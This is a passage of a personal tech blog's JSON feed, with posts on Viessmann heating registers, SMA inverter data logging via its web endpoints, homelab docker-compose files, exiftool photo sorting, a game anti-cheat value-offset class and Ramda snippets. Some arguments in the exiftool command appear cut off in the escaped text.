  7663\n      1\n      CO\n      Drehzahl interne Pumpe\n\n\n\n\n     name\u0026#61;\u0026#039;getVitoKennlinieNeigung\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      27D3\n      1\n      UN\n      Neigung Heizkennlinie\n\n     name\u0026#61;\u0026#039;setVitoKennlinieNeigung\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      27D3\n      1\n      UN\n      Setze Neigung Heizkennlinie\n\n     name\u0026#61;\u0026#039;getVitoKennlinieNiveau\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      27D4\n      1\n      ST\n      Niveau Heizkennlinie\n\n     name\u0026#61;\u0026#039;setVitoKennlinieNiveau\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      27D4\n      1\n      ST\n      Setze Niveau Heizkennlinie\n\n\n\n\n     name\u0026#61;\u0026#039;getVitoBetriebsartHK\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2500\n      1\n      ABA\n      Aktuelle Betriebsart des Heizkreises\n\n     name\u0026#61;\u0026#039;getVitoTempVLSoll\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2544\n      2\n      TD\n      Vorlaufsolltemperatur in \u00b0C\n\n     name\u0026#61;\u0026#039;getVitoTempRLIst\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      0808\n      2\n      TD\n      R\u00fccklauftemperatur in \u00b0C\n\n     name\u0026#61;\u0026#039;getVitoStatusPumpeHK\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      3906\n      1\n      RT\n      Status Heizkreispumpe\n\n     name\u0026#61;\u0026#039;getVitoTempRaumHK\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      0896\n      2\n      TD\n      Heizkreis Raumtemperatur in \u00b0C\n\n     name\u0026#61;\u0026#039;getVitoStatusPumpeZirku\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      6515\n      1\n      RT\n      Status Zirkulationspumpe\n\n\n\n\n     name\u0026#61;\u0026#039;getVitoTempSolarkol\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      6564\n      2\n      TD\n      Solar-Kollektortemperatur in \u00b0C\n\n     name\u0026#61;\u0026#039;getVitoTempSolarspeicher\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      6566\n      2\n      TD\n      Solar-Speichertemperatur in \u00b0C\n\n     name\u0026#61;\u0026#039;getVitoLaufzeitSolar\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      6568\n      2\n      CO\n      Solar-Betriebsstunden\n\n     name\u0026#61;\u0026#039;getVitoLeistungSolar\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      6560\n      4\n      CO\n      Solar-W\u00e4rmeenergie in kWh\n\n     name\u0026#61;\u0026#039;getVitoErtragTagSolar\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      CF30\n      4\n      CO\n      Solarertrag aktueller Tag in W\n\n\n\n\n     name\u0026#61;\u0026#039;getVitoStatusUmschaltventil\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      0A10\n      1\n      USV\n      Status Umschaltventil Warmwasser\/Heizen\n\n\n\n\n     name\u0026#61;\u0026#039;getVitoTimerMoHeizen\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2000\n      8\n      CT\n      Schaltzeit Montag\n\n     name\u0026#61;\u0026#039;setVitoTimerMoHeizen\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      2000\n      8\n      CT\n      Setze Schaltzeit Montag\n\n     name\u0026#61;\u0026#039;getVitoTimerDiHeizen\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2008\n      8\n      CT\n      Schaltzeit Dienstag\n\n     name\u0026#61;\u0026#039;setVitoTimerDiHeizen\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      2008\n      8\n      CT\n      Setze Schaltzeit Dienstag\n\n     name\u0026#61;\u0026#039;getVitoTimerMiHeizen\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2010\n      8\n      CT\n      Schaltzeit Mittwoch\n\n     name\u0026#61;\u0026#039;setVitoTimerMiHeizen\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      2010\n      8\n      CT\n      Setze Schaltzeit Mittwoch\n\n     name\u0026#61;\u0026#039;getVitoTimerDoHeizen\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2018\n      8\n      CT\n      Schaltzeit Donnerstag\n\n     name\u0026#61;\u0026#039;setVitoTimerDoHeizen\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      2018\n      8\n      CT\n      Setze Schaltzeit Donnerstag\n\n     name\u0026#61;\u0026#039;getVitoTimerFrHeizen\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2020\n      8\n      CT\n      Schaltzeit Freitag\n\n     name\u0026#61;\u0026#039;setVitoTimerFrHeizen\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      2020\n      8\n      CT\n      Setze Schaltzeit Freitag\n\n     name\u0026#61;\u0026#039;getVitoTimerSaHeizen\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2028\n      8\n      CT\n      Schaltzeit Samstag\n\n     name\u0026#61;\u0026#039;setVitoTimerSaHeizen\u0026#039; protocmd\u0026#61;\u0026#039;setaddr\u0026#039;\u0026gt;\n      2028\n      8\n      CT\n      Setze Schaltzeit Samstag\n\n     name\u0026#61;\u0026#039;getVitoTimerSoHeizen\u0026#039; protocmd\u0026#61;\u0026#039;getaddr\u0026#039;\u0026gt;\n      2030\n      8\n      CT\n      Schaltzeit Sonntag\n\n     name\u0026#61;\u0026#039;setVitoTimerSoHeizen\u003C\/pre\u003E","date_published":"2019-09-24T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/data-logging-my-sma-tripower-6-0-inverter","url":"https:\/\/malura.de\/en\/blog\/data-logging-my-sma-tripower-6-0-inverter","title":"Data logging my SMA Tripower 6.0 inverter","content_html":"\u003Cp\u003EMy new inverter offers a wide range of data points that I actively log. I explain how I read them out and process them.\u003C\/p\u003E\n\u003Cp\u003EThe system pulls the CSV exports from the inverter daily via API, parses the data and writes it into InfluxDB. Grafana then shows production, revenue and peak power over time. The 5-minute values are enough for monitoring, the 1-second values I use for detailed analysis.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Cp\u003EThe dashboard shows the monthly production as bars on the left (PV vs Solar separated), monthly statistics in the middle (159.85 kWh produced, \u20ac71.93 revenue, 5.34 kW peak), and on the right the daily curve with current power and today\u0026#039;s values (6.83 kWh, \u20ac3.07).\u003C\/p\u003E\n\u003Ch2\u003EFirst steps with Modbus\u003C\/h2\u003E\n\u003Cp\u003ESince the inverter supports Modbus, that was naturally my first attempt at getting to the data. With Python and \u003Ca href=\u0022https:\/\/pymodbus.readthedocs.io\/en\/latest\/readme.html\u0022\u003Epymodbus\u003C\/a\u003E I wrote myself a small Modbus master service that queries around 20 data points every 10 seconds.\u003C\/p\u003E\n\u003Cp\u003EThat ran pretty well for a few hours. But then I had to realize that the Modbus module gets switched off at night to save power. On top of that, Modbus wasn\u0026#039;t nearly as reliable as I had thought. I think I overwhelmed the inverter a bit with the query speed.\u003C\/p\u003E\n\u003Ch2\u003EA different solution is needed\u003C\/h2\u003E\n\u003Cp\u003EA modern SMA inverter offers a web interface that displays the data in various charts. I thought maybe there\u0026#039;s a public API for it, but unfortunately I couldn\u0026#039;t find anything about it.\u003C\/p\u003E\n\u003Cp\u003ESo I took a look at the traffic to the inverter through the browser\u0026#039;s devtools.\u003C\/p\u003E\n\u003Cp\u003EAt first I wanted to address the \u003Ccode\u003EgetValues\u003C\/code\u003E endpoint, but I didn\u0026#039;t know what the various parameters do. A request to \u003Ccode\u003EgetValues\u003C\/code\u003E looks roughly like this:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003EPOST \/dyn\/getValues.json?sid\u0026#61;xxxx\n{\u0026#34;destDev\u0026#34;:[],\u0026#34;keys\u0026#34;:[\u0026#34;6800_00A21E00\u0026#34;,\u0026#34;6800_00823400\u0026#34;,\u0026#34;6180_104A9A00\u0026#34;,\u0026#34;6180_104AB700\u0026#34;,\u0026#34;6180_084ABC00\u0026#34;,\u0026#34;6180_084A9600\u0026#34;,\u0026#34;6180_084A9800\u0026#34;,\u0026#34;6100_004AB600\u0026#34;,\u0026#34;6800_088A4D00\u0026#34;,\u0026#34;6180_084A6400\u0026#34;]}\n\u003C\/pre\u003E\n\u003Cp\u003EThen I had the idea to automatically download the CSV export and process it.\u003C\/p\u003E\n\u003Cp\u003EThere are 2 types of exports: daily data as 5-minute or 1-second values\u003C\/p\u003E\n\u003Cp\u003ESuch an export consists of several CSV files that get packed into a \u003Ccode\u003E.zip\u003C\/code\u003E every night.\u003C\/p\u003E\n\u003Cp\u003ETo get to the files there\u0026#039;s the \u003Ccode\u003EgetFS\u003C\/code\u003E endpoint.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003EPOST \/dyn\/getFS.json?sid\u0026#61;xxx\n{\u0026#34;destDev\u0026#34;:[],\u0026#34;path\u0026#34;:\u0026#34;\/DIAGNOSE\/ONLINE5M\/\u0026#34;}\n\u003C\/pre\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E{\n  \u0026#34;result\u0026#34;: {\n    \u0026#34;XXXX-XXXXXXXX\u0026#34;: { \/\/ Some ID\n      \u0026#34;\\\/DIAGNOSE\\\/ONLINE5M\\\/\u0026#34;: [\n        {\n          \u0026#34;f\u0026#34;: \u0026#34;DA190912.ZIP\u0026#34;, \/\/ Filename\n          \u0026#34;tm\u0026#34;: 1568310258, \/\/ Timestamp\n          \u0026#34;s\u0026#34;: 32200 \/\/ File size\n        },\n        {\n          \u0026#34;f\u0026#34;: \u0026#34;DA190919.ZIP\u0026#34;,\n          \u0026#34;tm\u0026#34;: 1568914216,\n          \u0026#34;s\u0026#34;: 32300\n        },\n        {\n          \u0026#34;f\u0026#34;: \u0026#34;DA190925.011\u0026#34;,\n          \u0026#34;tm\u0026#34;: 1569429451,\n          \u0026#34;s\u0026#34;: 12006\n        }\n        ...\n      ]\n    }\n  }\n}\n\u003C\/pre\u003E\n\u003Cp\u003ENow that I had all the names, I could simply download the files via \u003Ccode\u003Ecurl\u003C\/code\u003E.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ecurl -s -k -X POST -H \u0026#34;Content-Type: application\/json\u0026#34; -d \u0026#34;{}\u0026#34; \u0026#34;https:\/\/xxx\/fs\/DIAGNOSE\/ONLINE5M\/DA190919.ZIP?sid\u0026#61;?sid\u0026#61;xxx\u0026#34; --output \u0026#34;DA190919.ZIP\u0026#34;\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Cstrong\u003ELinks:\u003C\/strong\u003E\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Ca href=\u0022https:\/\/www.sma.de\/produkte\/solar-wechselrichter\/sunny-tripower-30-40-50-60.html\u0022\u003ESMA Tripower 6.0\u003C\/a\u003E\u003C\/li\u003E\n\u003Cli\u003E\u003Ca href=\u0022https:\/\/pymodbus.readthedocs.io\/en\/latest\/readme.html\u0022\u003Epymodbus Documentation\u003C\/a\u003E\u003C\/li\u003E\n\u003C\/ul\u003E\n","date_published":"2019-09-20T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/my-connected-home","url":"https:\/\/malura.de\/en\/blog\/my-connected-home","title":"My Connected Home","content_html":"\u003Cp\u003EOver the next few posts I want to explain what data I collect in my house and how it gets processed.\u003C\/p\u003E\n\u003Ch2\u003EWhy I collect data\u003C\/h2\u003E\n\u003Cp\u003EA few months ago one of my two SMA photovoltaic inverters broke and had to be replaced. Since both were already a few years old, I figured I\u0026#039;d replace both of them with one new big inverter and went with the \u003Ca href=\u0022https:\/\/www.sma.de\/produkte\/solar-wechselrichter\/sunny-tripower-30-40-50-60.html\u0022\u003ETripower 6.0\u003C\/a\u003E.\u003C\/p\u003E\n\u003Cp\u003EI was pleased to find that the device includes Wifi, Ethernet, Modbus and a whole bunch of other modules.\u003C\/p\u003E\n\u003Cp\u003EAfter seeing what data the system makes available to me, I immediately fell into a kind of collecting frenzy.\u003C\/p\u003E\n\u003Ch2\u003EWhat data I collect\u003C\/h2\u003E\n\u003Cp\u003ERight now I\u0026#039;m processing the output of my PV system and almost all the values from my heating system. More on that in the upcoming posts.\u003C\/p\u003E\n\u003Ch2\u003EMy goals\u003C\/h2\u003E\n\u003Cp\u003EIn addition to the PV system and the heating, I also want to measure water and oil consumption and build a weather station.\u003C\/p\u003E\n","date_published":"2019-09-18T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/even-more-docker-containers","url":"https:\/\/malura.de\/en\/blog\/even-more-docker-containers","title":"Even more Docker containers","content_html":"\u003Cp\u003EAs promised, here are a few more Docker containers from my homelab.\u003C\/p\u003E\n\u003Ch2\u003EGogs\u003C\/h2\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eversion: \u0026#039;2\u0026#039;\nservices:\n    postgres:\n      image: postgres:9.5\n      restart: always\n      environment:\n       - \u0026#34;POSTGRES_USER\u0026#61;gogs\u0026#34;\n       - \u0026#34;POSTGRES_PASSWORD\u0026#61;gogs\u0026#34;\n       - \u0026#34;POSTGRES_DB\u0026#61;gogs\u0026#34;\n      volumes:\n       - \u0026#34;db-data:\/var\/lib\/postgresql\/data\u0026#34;\n      networks:\n       - gogs\n    gogs:\n      image: gogs\/gogs:latest\n      restart: always\n      ports:\n       - \u0026#34;3000:3000\u0026#34;\n      links:\n       - postgres\n      environment:\n       - \u0026#34;RUN_CROND\u0026#61;true\u0026#34;\n      networks:\n       - gogs\n      volumes:\n       - \u0026#34;gogs-data:\/data\u0026#34;\n      depends_on:\n       - postgres\n\nnetworks:\n    gogs:\n      driver: bridge\n\nvolumes:\n    db-data:\n      driver: local\n    gogs-data:\n      driver: local\n\u003C\/pre\u003E\n\u003Ch2\u003EJira\u003C\/h2\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eversion: \u0026#039;3.1\u0026#039;\nservices:\n  jira:\n    image: cptactionhank\/atlassian-jira\n    restart: always\n    ports:\n      - 8777:8080\n    links:\n      - database\n    networks:\n      - jira\n    volumes:\n      - \u0026#34;jira-home-data:\/var\/atlassian\/jira\u0026#34;\n      - \u0026#34;jira-install-data:\/opt\/atlassian\/jira\u0026#34;\n    depends_on:\n      - database\n\n  database:\n    image: postgres:9.5\n    restart: always\n    environment:\n      - \u0026#34;POSTGRES_USER\u0026#61;jira\u0026#34;\n      - \u0026#34;POSTGRES_PASSWORD\u0026#61;jira\u0026#34;\n      - \u0026#34;POSTGRES_DB\u0026#61;jira\u0026#34;\n    volumes:\n      - \u0026#34;db-data:\/var\/lib\/postgresql\/data\u0026#34;\n    networks:\n      - jira\n\nnetworks:\n  jira:\n    driver: bridge\n\nvolumes:\n  db-data:\n    driver: local\n  jira-home-data:\n    driver: local\n  jira-install-data:\n    driver: local\n\u003C\/pre\u003E\n\u003Ch2\u003EJoomla\u003C\/h2\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eversion: \u0026#039;3.1\u0026#039;\n\nservices:\n  joomla:\n    image: joomla\n    restart: always\n    links:\n      - joomladb\n    ports:\n      - 8080:80\n    environment:\n      JOOMLA_DB_HOST: joomladb\n      JOOMLA_DB_PASSWORD: joomla\n\n  joomladb:\n    image: mysql:5.6\n    restart: always\n    environment:\n      MYSQL_ROOT_PASSWORD: joomla\n\u003C\/pre\u003E\n","date_published":"2019-08-22T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/reading-the-fingerprint-of-an-ssh-key","url":"https:\/\/malura.de\/en\/blog\/reading-the-fingerprint-of-an-ssh-key","title":"Reading the fingerprint of an SSH key","content_html":"\u003Cp\u003EI had to check which SSH key is stored on Github. But there only the fingerprint is shown, not the public key. The following command gives me the answer.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ecd ~\/.ssh\nssh-keygen -l -E md5 -f id_rsa\n# 2048 MD5:ab:cd:ef:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff michael\u0026#64;malura.de (RSA)\n\u003C\/pre\u003E\n","date_published":"2019-08-21T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/sorting-images-with-exiftool","url":"https:\/\/malura.de\/en\/blog\/sorting-images-with-exiftool","title":"Sorting images with Exiftool","content_html":"\u003Cp\u003EUp to now I sorted our photos by hand into the following folder structure: \u003Ccode\u003EYear\/Month\/Day\/imagename-number.format\u003C\/code\u003E\u003C\/p\u003E\n\u003Cp\u003EOver time, though, this gets tedious and error-prone. So I wrote myself a script that is called by a cronjob and sorts new images every evening.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E#!\/bin\/sh\n\n# Basisverzeichnis\nDIR\u0026#61;\u0026#34;\/tank\/private\u0026#34;\n\n# Bilder sortieren\n# -r rekursiv\n# \u0026#039;-FileName\n# \u0026#039;-FileName\n# -d \u0026#34;$DIR\/sorted\/%Y\/%m\/%d\/%f%%-c.%%le\u0026#34; Zielverzeichnis (Jahr\/Monat\/Tag) und Dateiname\n# der Dateiname setzt sich aus dem Originalnamen %f, ggf einer fortlaufender Nummer %%-c und der kleingeschriebenen Dateierweiterung\n# \u0026#34;$DIR\/unsorted\u0026#34; Unsortiere Quelle\nexiftool -r \u0026#039;-FileName \u0026#039;-FileName -d \u0026#34;$DIR\/sorted\/%Y\/%m\/%d\/%f%%-c.%%le\u0026#34; \u0026#34;$DIR\/unsorted\u0026#34;\n\n# M\u00f6gliche leere Verzeichnisse entfernen\nfind \u0026#34;$DIR\/unsorted\u0026#34; -type d -empty -delete\n\n# Rechte richtig setzen\nchmod -R 775 \u0026#34;$DIR\/sorted\u0026#34;\nchown -R root:data \u0026#34;$DIR\/sorted\u0026#34;\n\u003C\/pre\u003E\n","date_published":"2019-02-27T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/i-m-learning-c-again","url":"https:\/\/malura.de\/en\/blog\/i-m-learning-c-again","title":"I\u0027m Learning C++ Again","content_html":"\u003Cp\u003EIt\u0026#039;s been a long time since I really worked with C\u0026#43;\u0026#43; seriously. Now I want to take a look at the current C\u0026#43;\u0026#43;17 standard and dig deeper into the modern concepts.\u003C\/p\u003E\n\u003Cp\u003EI\u0026#039;m especially interested in smart pointers, lambda expressions, structured bindings and the new STL features. I\u0026#039;ve also gotten a better handle on \u003Ca href=\u0022https:\/\/de.wikipedia.org\/wiki\/CMake\u0022\u003ECMake\u003C\/a\u003E by now, so I shouldn\u0026#039;t run into any problems there for the time being.\u003C\/p\u003E\n","date_published":"2019-01-27T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/my-favorite-docker-containers","url":"https:\/\/malura.de\/en\/blog\/my-favorite-docker-containers","title":"My Favorite Docker Containers","content_html":"\u003Cp\u003EThe following Docker containers are currently running in my homelab.\u003C\/p\u003E\n\u003Ch2\u003EDeluge\u003C\/h2\u003E\n\u003Cp\u003EDeluge is a torrent server. I prefer downloading my Linux ISOs via torrent and naturally want to give something back to the community.\u003C\/p\u003E\n\u003Cp\u003EThat\u0026#039;s why I seed my favorite ISOs out into the wide world from my home server.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eversion: \u0026#34;2\u0026#34;\nservices:\n  deluge:\n    image: linuxserver\/deluge\n    container_name: deluge\n    environment:\n      - PUID\u0026#61;1002\n      - PGID\u0026#61;1003\n      - TZ\u0026#61;Europe\/London\n    ports:\n      - \u0026#34;8112:8112\u0026#34;\n      - \u0026#34;58846:58846\u0026#34;\n      - \u0026#34;58946:58946\u0026#34;\n      - \u0026#34;58946:58946\/udp\u0026#34;\n    volumes:\n      - \/srv\/dev-disk-by-label-tank\/torrent\/config:\/config\n      - \/srv\/dev-disk-by-label-tank\/torrent\/downloads:\/downloads\n    mem_limit: 2048m\n    restart: unless-stopped\n\u003C\/pre\u003E\n\u003Ch2\u003EPlex\u003C\/h2\u003E\n\u003Cp\u003EOf course, the home version of Netflix can\u0026#039;t be missing\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eversion: \u0026#34;3\u0026#34;\nservices:\n  plex:\n    container_name: plex\n    restart: always\n    image: plexinc\/pms-docker\n    ports:\n      - \u0026#34;32400:32400\u0026#34;\n      - \u0026#34;1900:1900\u0026#34;\n      - \u0026#34;3005:3005\u0026#34;\n      - \u0026#34;5353:5353\u0026#34;\n      - \u0026#34;8324:8324\u0026#34;\n      - \u0026#34;32410:32410\u0026#34;\n      - \u0026#34;32412:32412\u0026#34;\n      - \u0026#34;32413:32413\u0026#34;\n      - \u0026#34;32414:32414\u0026#34;\n      - \u0026#34;32469:32469\u0026#34;\n    volumes:\n      - \/srv\/dev-disk-by-label-tank\/docker\/plex\/config:\/config\n      - \/srv\/dev-disk-by-label-tank\/docker\/plex\/transcode:\/transcode\n      - \/srv\/dev-disk-by-label-tank\/docker\/plex\/shared:\/shared\n      - \/srv\/dev-disk-by-label-tank\/media:\/media\n    environment:\n      - TZ\u0026#61;Europe\/London\n      - HOSTNAME\u0026#61;\u0026#34;Docker Plex\u0026#34;\n      - PLEX_UID\u0026#61;121\n      - PLEX_GID\u0026#61;1001\n      - PLEX_CLAIM\u0026#61;xxxxxxxxxxxxxxx\n      - ADVERTISE_IP\u0026#61;\u0026#34;https:\/\/192.168.178.100:32400\/\u0026#34;\n\u003C\/pre\u003E\n\u003Ch2\u003ERSS Reader\u003C\/h2\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eversion: \u0026#34;3\u0026#34;\nservices:\n  rss:\n    restart: always\n    image: linuxserver\/tt-rss\n    ports:\n      - \u0026#34;7800:80\u0026#34;\n    volumes:\n      - \/etc\/localtime:\/etc\/localtime:ro\n      - \/tank\/docker\/tt-rss\/config:\/config\n      - \/tank\/docker\/tt-rss\/data:\/var\/lib\/postgresql\/data\n    environment:\n      - TZ\u0026#61;Europe\/Berlin\n    links:\n      - db\n  db:\n    image: postgres\n    restart: always\n    environment:\n      POSTGRES_PASSWORD: tt-rss\n\u003C\/pre\u003E\n","date_published":"2019-01-17T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/the-6th-gamedev-gathering","url":"https:\/\/malura.de\/en\/blog\/the-6th-gamedev-gathering","title":"The 6th Gamedev Gathering","content_html":"\u003Cp\u003EToday I focused entirely on Blender and learned how to work with it.\u003C\/p\u003E\n\u003Cp\u003EBlender is just a fantastic tool. Up until that day I was pretty intimidated by it, but after a few videos and an open mind everything ran smoothly.\u003C\/p\u003E\n","date_published":"2018-12-29T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/reverse-engineering-presentation","url":"https:\/\/malura.de\/en\/blog\/reverse-engineering-presentation","title":"Reverse Engineering Presentation","content_html":"\u003Cp\u003EWell, that\u0026#039;s that. Today my employer called me up and let me go.\u003C\/p\u003E\n\u003Cp\u003EAccording to him, we didn\u0026#039;t find an investor for our current project, so we have to put it on ice.\u003C\/p\u003E\n\u003Cp\u003EIt came pretty out of the blue, even though the economic situation had been tense lately. Now I have to go find something new again. But I\u0026#039;m confident that new opportunities will come along soon.\u003C\/p\u003E\n","date_published":"2018-11-26T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/anti-cheat-tricks-variable-offset","url":"https:\/\/malura.de\/en\/blog\/anti-cheat-tricks-variable-offset","title":"Anti cheat tricks - Variable offset","content_html":"\u003Cp\u003EA small class that shows how some developers obfuscate values in their games to prevent memory editing.\u003C\/p\u003E\n\u003Cp\u003EThis technique adds a random offset to stored values, which makes them harder to find and modify in memory scanners.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E#include \u0026lt;iostream\u0026gt;\n\ntemplate\u0026lt;typename T\u0026gt;\nclass OffsetVariable {\nprivate:\n  T value;\n  int offset;\n\npublic:\n  explicit OffsetVariable(T initial) {\n    offset \u0026#61; 1337; \/\/ Generate a random number here\n    value \u0026#61; initial \u0026#43; offset;\n  }\n\n  T get() {\n    return value - offset;\n  }\n\n  void set(T v) {\n    value \u0026#61; v \u0026#43; offset;\n  }\n};\n\nint main() {\n  OffsetVariable\u0026lt;int\u0026gt; health(100);\n  OffsetVariable\u0026lt;float\u0026gt; mana(100);\n\n  std::cout \u0026lt;\u0026lt; \u0026#34;Player health: \u0026#34; \u0026lt;\u0026lt; health.get() \u0026lt;\u0026lt; std::endl;\n  std::cout \u0026lt;\u0026lt; \u0026#34;Player mana: \u0026#34; \u0026lt;\u0026lt; mana.get() \u0026lt;\u0026lt; std::endl;\n\n  health.set(50);\n  mana.set(25);\n\n  std::cout \u0026lt;\u0026lt; \u0026#34;Player health: \u0026#34; \u0026lt;\u0026lt; health.get() \u0026lt;\u0026lt; std::endl;\n  std::cout \u0026lt;\u0026lt; \u0026#34;Player mana: \u0026#34; \u0026lt;\u0026lt; mana.get() \u0026lt;\u0026lt; std::endl;\n  return 0;\n}\n\u003C\/pre\u003E\n","date_published":"2018-11-14T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/base-building-example-early-prototype","url":"https:\/\/malura.de\/en\/blog\/base-building-example-early-prototype","title":"Base building example - Early prototype","content_html":"\u003Cp\u003EI\u0026#039;m playing a lot of \u003Ca href=\u0022https:\/\/rimworldgame.com\/\u0022\u003ERimworld\u003C\/a\u003E right now and wanted to build a small proof of concept of the base-building system.\u003C\/p\u003E\n\u003Cp\u003EYou can find out more about the project \u003Ca href=\u0022\/projects\/love2d-base-building-example.html\u0022\u003Ehere\u003C\/a\u003E\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n","date_published":"2018-11-08T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/ramda-finding-duplicates-in-an-array","url":"https:\/\/malura.de\/en\/blog\/ramda-finding-duplicates-in-an-array","title":"Ramda - Finding Duplicates in an Array","content_html":"\u003Cp\u003EFor my current project I need to check that a list of transactions contains no duplicates (based on the transaction ID).\u003C\/p\u003E\n\u003Cp\u003EHere\u0026#039;s how I search for duplicates in lists, based on a property.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst R \u0026#61; require(\u0026#039;ramda\u0026#039;);\nconst data \u0026#61; {\n  \u0026#039;transactions\u0026#039;: [{ \/\/ Transactions have to be unique\n    \u0026#039;transaction\u0026#039;: \u0026#039;A\u0026#039;,\n    \u0026#039;events\u0026#039;: [{\n      \u0026#039;number\u0026#039;: 0\n    }, {\n      \u0026#039;number\u0026#039;: 1\n    }]\n  }, {\n    \u0026#039;transaction\u0026#039;: \u0026#039;B\u0026#039;,\n    \u0026#039;events\u0026#039;: [{\n      \u0026#039;number\u0026#039;: 0,\n    }, {\n      \u0026#039;number\u0026#039;: 1,\n    }]\n  }]\n};\n\n\/\/ Group each transactions by its transaction id\nconst groupByTransaction \u0026#61; R.groupBy(R.prop(\u0026#039;transaction\u0026#039;));\n\n\/\/ Get the length of each transaction group\nconst mapLengthOfEachGroup \u0026#61; R.mapObjIndexed(R.prop(\u0026#039;length\u0026#039;));\n\n\/\/ Creates an array containing only the number of elements in each group. Best case would be [1, 1, 1...]\nconst arrayOfGroupLengths \u0026#61; R.values;\n\n\/\/ Check if an element is greater than 1\nconst ensureArrayContainsOnlyOnes \u0026#61; R.any(R.lte(2));\n\nconst hasDuplicates \u0026#61; R.pipe(\n  groupByTransaction,\n  mapLengthOfEachGroup,\n  arrayOfGroupLengths,\n  ensureArrayContainsOnlyOnes\n);\n\nhasDuplicates(data.transactions);\n\u003C\/pre\u003E\n","date_published":"2018-11-05T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/ramda-validating-a-number-sequence","url":"https:\/\/malura.de\/en\/blog\/ramda-validating-a-number-sequence","title":"Ramda - Validating a Number Sequence","content_html":"\u003Cp\u003EI had to make sure I wasn\u0026#039;t missing any events. So I built a concept with a number that counts up with every event. If the numbers aren\u0026#039;t consecutive, I know the collection isn\u0026#039;t valid.\u003C\/p\u003E\n\u003Cp\u003EThe solution uses Ramda for functional validation: events get sorted, the numbers extracted, and a reduce checks whether each number is an increment over the previous one.\u003C\/p\u003E\n\u003Ch2\u003EDataset\u003C\/h2\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst data \u0026#61; {\n  \u0026#039;transactions\u0026#039;: [{\n    \u0026#039;transaction\u0026#039;: \u0026#039;A\u0026#039;,\n    \u0026#039;events\u0026#039;: [{\n      \u0026#039;number\u0026#039;: 0 \/\/ \u0026lt;-- Valid\n    }, {\n      \u0026#039;number\u0026#039;: 1 \/\/ \u0026lt;-- Valid\n    }]\n  }, {\n    \u0026#039;transaction\u0026#039;: \u0026#039;C\u0026#039;,\n    \u0026#039;events\u0026#039;: [{\n      \u0026#039;number\u0026#039;: 5 \/\/ \u0026lt;-- Valid\n    }, {\n      